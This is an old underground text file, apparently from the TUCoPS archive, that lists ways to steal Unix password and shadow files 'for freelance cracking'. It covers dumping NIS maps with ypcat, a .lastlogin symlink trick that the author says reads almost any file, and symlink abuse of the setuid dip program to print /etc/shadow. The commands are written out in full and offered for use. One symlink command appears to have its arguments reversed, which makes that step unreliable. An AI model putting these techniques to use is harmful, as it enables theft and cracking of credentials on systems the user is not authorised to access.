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TUCoPS :: Unix :: General :: shadow.txt

Getting a copy of the shadow file in several different ways

This is by no means a complete or even good list of possible ways to get a
copy of the shadow file, but it's some that work and are pretty handy to
know if you do alot of freelance cracking.

Unix including: SunOS, SCO, System V, and others of the like are sometimes
vulnerable to ypcat. This is an old and well known trick but it works.. To
use it simply type ypcat /etc/passwd with your capture option turned on, or

ypcat /etc/passwd > ~/passwd 

and download the passwd file from your home dir.

Unix including: SCO, System V 3.2, ?, could be vulnerable to a hole using
the .lastlogin file. In your home directory if a ls -al shows the
.lastlogin to be owned by auth or root or anyone with better security then
you it's good :) To exploit:

rm -f ~/.lastlogin
ln -s ~/.lastlogin /etc/passwd

Now logout and then back in so you create the link.

cat .lastlogin > passwd
rm -f ~/.lastlogin 

This hole could have several other uses as well, the fact that it allows
you read access to most any file on the system is a nice gift.

Linux including: slackware, ?, not only can the dip hole be used to exploit
root but it can also snag you the shadow file fairly easily. Why you
wouldn't use it to get to root and then just edit/download it I have no
clue but here it is anyways.. To exploit:

ln -s /etc/shadow /tmp/dummy.dip
/sbin/dip -v /tmp/dummy.dip

Assuming dip is vulnerable this should type the shadow file for you and of
course it's not limited to just reading the shadow file..

If you know of other tricks, especially some that defeat linux shadow, and
wish to share them mail Cassidy.. 

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